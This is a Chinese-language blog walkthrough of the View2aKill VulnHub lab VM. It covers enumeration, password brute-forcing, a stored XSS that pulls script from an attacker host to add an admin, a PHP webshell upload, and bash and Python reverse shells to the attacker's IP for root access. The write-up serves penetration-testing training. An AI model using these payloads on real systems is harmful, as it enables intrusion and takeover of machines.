『VulnHub系列』View2aKill: 1-Walkthrough

靶机地址

难度:中等

靶机发布日期:2019年10月29日

在这里插入图片描述
靶机描述:Mission: Millionaire psychopath Max Zorin is a mastermind behind a scheme to destroy Silicon Valley in order to gain control over the international microchip market. Get root and stop this madman from achieving his goal!
Difficulty: Intermediate
Flag is /root/flag/flag.sh
Use in VMware. DHCP enabled.
Learning Objectives: Web Application Security, Scripting, Linux enumeration and more.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

友情提示:这个靶机可能会经常性"失联",每次我只能重启靶机解决。

工具、知识点和漏洞

  • nmap
  • dirsearch
  • searchsploit
  • metaspaloit

0x00、信息收集

靶机IP:192.168.0.110

nmap -sn 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.110

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述
http://192.168.0.110/

扫描二维码关注公众号,回复: 8716721 查看本文章

在这里插入图片描述
http://192.168.0.110/robots.txt

在这里插入图片描述

看到joomla自然想到了那套全球知名的内容管理系统,但这个却不是。joomscan和gobuster扫描了一下http://192.168.0.110/joomla什么也没发现

在这里插入图片描述
整理一下目前收集到的信息

dir&pages:

  • /joomla → mp3
  • /dev
  • /zorin
  • /defense
  • /pics
  • /index.html

port&services

  • 22 OpenSSH 7.6p1
  • 25 Postfix smtpd
  • 80 Apache httpd 2.4.29
  • 8191 PHP cli server 5.5 or later(http-title: electronic controller app)

下面就是以上述信息为基础,进一步收集信息

8191端口
在这里插入图片描述
在这里插入图片描述
http://192.168.0.110/dev/

在这里插入图片描述
几个PDF文档只是几个产品的说明文档之类的,而且都可以在网上查到(后面发现这些是重点)

http://192.168.0.110/dev/SystemPrep.txt

SysAdmins, Devs, Security, etc. Keep in mind once this site goes live, we’ll be working a TON of over time. Make sure everything is tested and ready to rock before pushed to prod.

http://192.168.0.110/dev/about.html

insert photo here
Hi I’m Max,
Boss, please add short bio here about your self. The copy writers said to “make yourself sound personable” (whatever that means).

下载压缩文件e_bkup.tar.gz,解压后得到四个文件

tar -zxvs Desktop/e_bkup.tar.gz Desktop/view2akill

在这里插入图片描述
在New_Employee_Onboarding_Chuck.rtf文件中我找到了HR mgmt的一个登录用户名:[email protected],以及有关密码的信息:password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007.

使用hydra对smtp进行爆破,用户名为chuck,无果

hydra -l chunk -P /usr/share/wordlists/fasttrack.txt smtp://192.168.0.110

onboarding_email_template.rtf从名字来看应该是个邮件模板;Stop_Storing_Passwords.rtf只是个安全提示邮件。

note_to_mail_admins.txt文件内容:Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called “email web gooey platform”.

http://192.168.0.110/defense/

在这里插入图片描述
Security devs made a custom app that checks for any unusual files in the apache web directory. Not really sure how it works and if it’s actually secure. Just let them know before any changes are made in web dirs.

http://192.168.0.110/pics/

在这里插入图片描述
http://192.168.0.110/zorin/about.html

在这里插入图片描述
http://192.168.0.110/zorin/hr.html,找到一个/sentrifugo

在这里插入图片描述
从网页中信息中我们可以知道sentrifugo的初始密码为toor,随后我访问了http://192.168.0.110/sentrifugo/,这是一个登录页面,尝试了root、admin、max、zorin作为用户名,toor作为密码,但都没能登录。

Sentrifugo是目前国际上最流行的功能完善的开源人力资源管理系统,使用企业达几十万家。Sentrifugo是一个用PHP编写的强大的开源人力资源管理(HRM)系统,它将其数据存储在关系数据库(如MySQL/MariaDB)中。Sentrifugo易于配置,并提供许多丰富的功能,如:跟踪员工的休假日期、跟踪员工的角色,绩效和特权、跟踪员工的评估、时间和假期管理、招聘/人才招聘、面试时间表、员工自助服务、分析:定义长期和短期目标、背景检查e.t.c.。

http://192.168.0.110/sentrifugo/,通过右上角的Help按钮我们下载到了一个使用说明书

在这里插入图片描述
既然是知名的HRM系统,那么应该有相关的exp,但前提是我们需要知道靶机上的版本是多少。由于是第一次接触这个HRM系统,所以我用gobuster扫描了一下http://192.168.0.110/sentrifugo/,发现了CHANGELOG.txt,通过这个文件我们知道了当前的版本是3.2

在这里插入图片描述
在这里插入图片描述
好奇之下我查看了gobuster发现的这些目录,发现可以遍历目录

在这里插入图片描述
http://192.168.0.110/sentrifugo/sql/,发现一个sql文件,文本编辑器打开之后发现是一些表操作语句,也没有发现什么敏感信息

在这里插入图片描述

Google搜索“sentrifugo exploit”发现了几个漏洞,而靶机里面的版本也是3.2,Platform是Windows排除

在这里插入图片描述
Sentrifugo 3.2 - File Upload Restriction Bypass可知,我们可以上传一个shell文件,但前提是得登录Sentrifugo HRMS。

整理一下现有信息:
一个Sentrifugo系统的用户名:[email protected],以及该用户密码的提示信息;两个可用的漏洞:xss、文件上传限制的绕过

关于这个文件上传限制的绕过有这么两个地方:

  • /sentrifugo/index.php/mydetails/documents – Self Service >> My Details >> Documents (any permissions needed)
  • sentrifugo/index.php/policydocuments/add – Organization >> Policy Documents (higher permissions needed)

区别在于用户权限。所以我现在的思路就是尝试hydra爆破一下密码,如果能成功,再上传一个shell文件

burpsuite抓包发现用户名和密码的参数名称分别为username和password

在这里插入图片描述

hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt -vV -f 192.168.0.110 http-post-form "/sentrifugo/index.php:username=^USER^&password=^PASS^:F="

这里需要对rockyou.txt密码字典进行处理,因为从之前得到的信息我们知道密码的格式像:facility007

后面发现这里其实是我太粗心了,对关键信息视而不见,以至于搞错了获取密码的方向

awk '/^([a-zA-Z]+)([0-9]+)$/{print}' /usr/share/wordlists/rockyou.txt > Desktop/view2akill/rockyou.txt

但是这么筛选完之后还是有500w+,尝试着跑了跑,后面直接放弃了,所以这个思路可能是错的。

到这里思路断了,nikto扫了一下发现了.git文件,记得有个扫描.git文件的工具GitHack用一下

nikto -h http://192.168.0.110/sentrifugo/

在这里插入图片描述

python GitHack.py http://192.168.0.110/sentrifugo/.git/

结果没有东西

在这里插入图片描述

0x01、得到密码

隔了几天之后从头开始重新做了一遍靶机,用hydra爆破了一下smtp的密码,用户名是收集到的这几个:

  • scarpine
  • max
  • chuck
  • zorin

字典用的是kali自带的/usr/share/wordlists/fasttrack.txt,无果

重新理了一下现有的信息,得出比较确定的结论:想继续下去必须先得到sentrifugo系统的密码,账号已经有了就是[email protected]

然后在推特上跟老外交流了一下,交流结果:就是他找到了密码在哪,但是他没找到sentrifugo系统的入口在哪,我告诉他我知道密码的线索就是password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007.,而且从另外一个人那里我知道密码就在/dev目录下面的那些文件里面,他说你仔细看看你发给我的那句话,到这儿我才注意到关键信息是:lowercase word/txtthe remote detonator + the transmit frequency of an HID proxcard readerpassword format example: facility007

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
下面说一下是怎么得到密码的。回到密码的提示那里,关键信息是: the remote detonator + the transmit frequency of an HID proxcard reader
分开来看就是the remote detonatorthe transmit frequency of an HID proxcard reader,密码是由这两个组合起来的。两个线索分别对应/dev目录中的两个文件,如下图所示:

在这里插入图片描述
the remote detonator对应的是remote_control.gif,为什么这么说?先说the remote detonator是啥意思:远程雷管(来自Google翻译),之前我是把/dev目录里面的文件翻了个遍,remote_control.gif描述就是一个妹子拿个遥控器把一架直升机给炸了

在这里插入图片描述

凑巧的是啥呢?我之前用Stegsolve分析了一下这个gif图片(按帧浏览Analyse--Frame Browser),把一张稍微清晰一点的保存成位图,可以看到绿框中的英文单词像是HELICOPTER,就是直升机

在这里插入图片描述
接着说the transmit frequency of an HID proxcard reader,线索(hint)就是transmit frequencyHID,结合到/dev目录下的文件,就是HID6005.pdf,打开这个文件(就两页),开始找transmit frequency关键词,看到有125 kHz

在这里插入图片描述
现在组合HELICOPTER125 kHz,根据lowercase word/txtpassword format example: facility007,得到最终的密码为:helicopter125

这里需要一点联想,还就是想想你现在手上有什么,根据现有的东西能做什么,然后仔细读给到的hint

所以现在我们有了sentrifugo系统的用户名和密码:[email protected]:helicopter125

0x02、XSS添加特权账户

登录sentrifugo系统
根据之前收集的信息,我们知道有个文件上传绕过的漏洞Sentrifugo 3.2 - File Upload Restriction Bypass,存在绕过的位置请自行查阅。

登录之后从给到的权限来看,当前账户权限较低,所以只能通过/sentrifugo/index.php/mydetails/documents上传文件,但是在对应的位置根本没找到documents,说明是没有权限

在这里插入图片描述
为了进一步证实当前用户没有该权限,我直接访问了/sentrifugo/index.php/mydetails/documents,得到错误提示:You are not authorized to access this page.

还有另外一个漏洞Sentrifugo 3.2 - Persistent Cross-Site Scripting

exploit-db里面的利用说明如下:

A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in “Certificate Description” (Self Service >> My Details >> Training and Certificate Details)
<script src="http://Attacker-IP/add-admin-user.js"></script>
Add the following ‘add-admin-user.js’ file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.

具体操作步骤本来已经写好了(这篇博客在2019年11月21日就已经完成了),但是无奈某某办法出现了,所以这里删去了众多细节,请谅解!!!

ifconfig eth0命令查看kali的IP为:192.168.0.108;创建add-admin-user.js文件,里面的内容你很容易就得到,并将该js文件放置于kali的Apache2服务根目录(/var/www/html),开启apache2服务service apache2 start;之后在sentrifugo系统中添加一条记录,将XSS代码放于Description输入框中,之后保存;最后,等待XSS被触发。

PS:如果你在自己做的时候请一定要先通读一遍上面链接中的内容!!!

When a user with permissions to add users (HR role by default) views your XSS “Certification Description” the add user request should be sent.

关于“谁”去触发XSS这个问题,我猜测靶机里面可能有一个计划任务,只是怎么实现的就不得而知了。那么现在的问题就是:怎么知道XSS有没有被触发?

就这个问题我去推特上问了一下,回复如下:

在这里插入图片描述
停掉Apache2的服务,使用Python(Python2 和 Python3的效果是一样的)开启HTTP服务,等待计划任务访问js脚本

service apache2 stop
cd /var/www/html
python -m SimpleHTTPServer 80

为什么要用Python的HTTP服务,因为当有人去请求add-admin-user.js时候,在命令行上我们是可以直观的看到,也就是说Python直接输出了访问日志,这不就等于说是告诉我们XSS被触发了吗?

这里只是演示,因为靶机的IP是192.168.0.111

在这里插入图片描述
在这里插入图片描述

但是我等了一会儿,XSS并没有触发。这里就有一个问题了,计划任务怎么知道你的XSS代码在哪?或者说怎么知道应该“点击”哪一条记录的查看按钮?

这里我查看了一下网页源代码。从下面这个截图推测每条记录应该都有一个id,而真正的请求应该是http://192.168.0.111/sentrifugo/index.php/trainingandcertificationdetails/viewpopup/id/2/unitId/3/popup/1,所以我推测计划任务里面应该是“查看”了id=1的那条记录,因为默认就添加了一条记录。按照常理推测,无疑就是只需要我们编辑这条记录,写入XSS代码就好了,而无需自己再添加一条新的记录。但我这里把第一条记录删掉了~,而且就算把所有的记录删除,重新添加的时候id也不是从1开始计数的,这应该跟数据库有关系了,可能这个id是自增长的。我只能重新导入一遍靶机了。

本来这里有图的,后来我把它删除了~~

重新导入靶机,现在靶机的IP地址为192.168.0.107,重复之前的一系列操作,等待XSS触发

注意:这里直接修改默认添加的那条CISSP的记录就好了

在这里插入图片描述

从上图中我们看到XSS被触发了,接着用[email protected]:toor登录sentrifugo系统,结果提示:用户名或密码错误。

这里我是怎么知道toor是密码?前期的信息收集。在http://192.168.0.110/zorin/hr.html页面有这么几句话: During this transition period all new users (from now on) will have their sentrifugo passwords automatically set to toor so no real email address is required for the system to send the initial automatically generated password.Please be patient as the reset to toor may take up to a minute.由此我们这知道默认的密码是toor,而且说让我们等几分钟。`

就这个利用XSS添加特权账户,我真是试了好多次~原因归根结底还是对sentrifugo系统不够了解,比如这些个参数的类型、格式要求。最开始就没往这方面想~

  • firstname:必须全英文,我用的是Hack
  • lastname:必须全英文,我用的是Insight
  • final_emp_id:这里只要是系统中不存在的就可以,我用的是EMPP666
  • employeeNumId:要求同上,我用的是666

需要注意的两点是:第一,这个靶机里面不要用payload里面默认的账户密码,这是我在做这个靶机的时候遇到的一个大坑;第二,XSS添加账号之后,靶机好像需要一会儿的时间去重置新账户的密码为toor,所以你需要等两三分钟。

使用[email protected]:toor重新登录sentrifugo系统

在这里插入图片描述
OK,现在终于解决了一个大问题,我的耐心差点用完,O(∩_∩)O哈哈~

0x03、getshell

刚刚登录系统之后,好多菜单查看不了,也不知道咋回事,几乎把所有地方都点了一遍,以至于我怀疑这是个假的超管用户~直到点到了添加员工,之后再去点之前无法点击的菜单,就都恢复正常了,一脸懵~

在这里插入图片描述

因为这个比较常用,所以我本地保存了一份生成好的。你可以用msfvenom生成webshell(php/meterpreter/reverse_tcp),生成shell文件之后需要将为文件添加.doc后缀名,所以最后的shell文件为shell.php.doc

msfconsole做好接收反弹的shell的准备(针对第二种方式)

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第一种方式

打开burpsuite,拦截请求,将下面的请求发送到Repeater模块,因为在Repeater模块发送修改的请求后,我们可以在响应包里看到文件的保存后的名称new_name,所以这一步很关键。

以下删去众多细节~~

上传完成后,虽然知道了保存后的文件名称,但路径不知道,由于靶机可以遍历目录,所以我在/sentrifugo/public/uploads/policy_doc_temp/找到了我们上传的shell

在这里插入图片描述
访问http://192.168.0.107/sentrifugo/public/uploads/policy_doc_temp/1574154765_6_webshell.php?cmd=cat /etc/passwd,成功读取了/etc/passwd文件。接下来反弹shell,?cmd=uname%20-a看了一下靶机的系统是Ubuntu的,所以nc -e就用不了了

之后试了bash -i >& /dev/tcp/192.168.0.108/1234 0>&1,然后给它URL编码了一下也不行;接着试了把msfvenom生成的shell也给URL编码了一下还是不行

之后把echo 'bash -i >& /dev/tcp/192.168.0.108/1234 0>&1' | bashURL编码了一下,成功反弹了shell

这里应该可以只编码空格,但我没试~

在这里插入图片描述
在这里插入图片描述

第二种方式

可以直接把POST请求的内容用反弹shell的php代码替换~~

之后访问http://192.168.0.107/sentrifugo/public/uploads/policy_doc_temp/1574158608_6_webshell.php直接收到了反弹的shell

获取shell之后的第一步使用Python获取一个TTY

python -c 'import pty; pty.spawn("/bin/bash")'

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x04、权限提升

套话部分请老读者自动跳过~

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

先到home目录下“扫荡”一遍,在/home/jenny目录下发现了一个dsktp_backup.zip文件,解压之后发现两个文件

在这里插入图片描述
passswords.txt中得到两个密码

  • ssh的密码jenny:!!!sfbay!!!
  • hr mgmt - NO ACCESS ANYMORE[email protected]:ThisisAreallYLONGPAssw0rdWHY!!!!

todo.txt中得到一个信息/home/max/aView.py,这个不知道有啥用,先放着

在这里插入图片描述
使用得到的账号密码通过SSH登录靶机,然后执行sudo -l,提示该用户无法执行sudo命令

SUID权限可执行文件,没有可用的

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

查看计划任务,无

cat /etc/crontab

继续”扫荡“home目录下其他几个目录,在/home/max目录下发现了note.txt,内容如下:

在这里插入图片描述
在这里插入图片描述
看样子是需要写个脚本了

最初的代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import string
from hashlib import sha1

import requests

URL = "http://192.168.0.107:8191/{}"
paths = []

for alpha in string.ascii_lowercase: # string.ascii_lowercase
    for n in string.digits: # string.digits
        for m in string.digits:
            path = sha1((alpha + "view" + n + m + "\n").encode("utf-8")).hexdigest()
            paths.append(path)


for i in paths:
    url = URL.format(i)
    r = requests.get(url)
    if r.status_code == 200:
        print(url)
        break

执行完之后,得到一个状态码为200的URL:http://192.168.0.107:8191/7b79b29fa85a5943effb2d9020bf40e24eec33a1,浏览器访问之后,发现页面上没有任何东西,查看了一下Content-Length为167,想着如果多了点什么Content-Length的值应该会变大,之后改了一下校验URL有效性的条件:由原来的if r.status_code == 200:改为if r.status_code == 200 and len(r.content) > 167:

在这里插入图片描述
在这里插入图片描述
点了一下红色按钮,跳转到另一个页面,有一个提示:waiting on engineers to tweak final code

在这里插入图片描述
因为之前查看过/home/max目录下的aView.py,发现上面的提示跟脚本里面的内容相似度很大,一个大胆的猜测是:通过点击红色的Execute按钮调用了aView.py这个脚本,print出了提示。查看了一下脚本的文件权限,发现jenny可以修改它。

在这里插入图片描述
这里我不确定这个脚本是否是以root权限执行的,所以只能说先尝试一下。

nano编辑器修改aView.py,加入反弹shell的代码

#!/usr/bin/python
# 
# executed from php app add final wrapper/scirpt here
import socket,subprocess,os
import pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.108",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

在这里插入图片描述
先在kali上使用nc监听端口,然后回到浏览器上点击红色的Execute按钮,随后得到了root权限的shell

在这里插入图片描述
根据靶机的说明,flag在/root/flag目录下。进入目录,发现run_me_for_flag.sh,执行脚本之后访问8007端口,得到flag。

在这里插入图片描述

Github上有歪果仁放出来的Walkthrough,可以拓展一下思路,他不是利用的XSS漏洞,而是直接利用了文件上传绕过的漏洞,有兴趣的可以去看一下。2019-11-16-view2kill

OK,这个靶机就到这里了,希望都有所收获。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

在这里插入图片描述

发布了41 篇原创文章 · 获赞 14 · 访问量 7904

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/102926919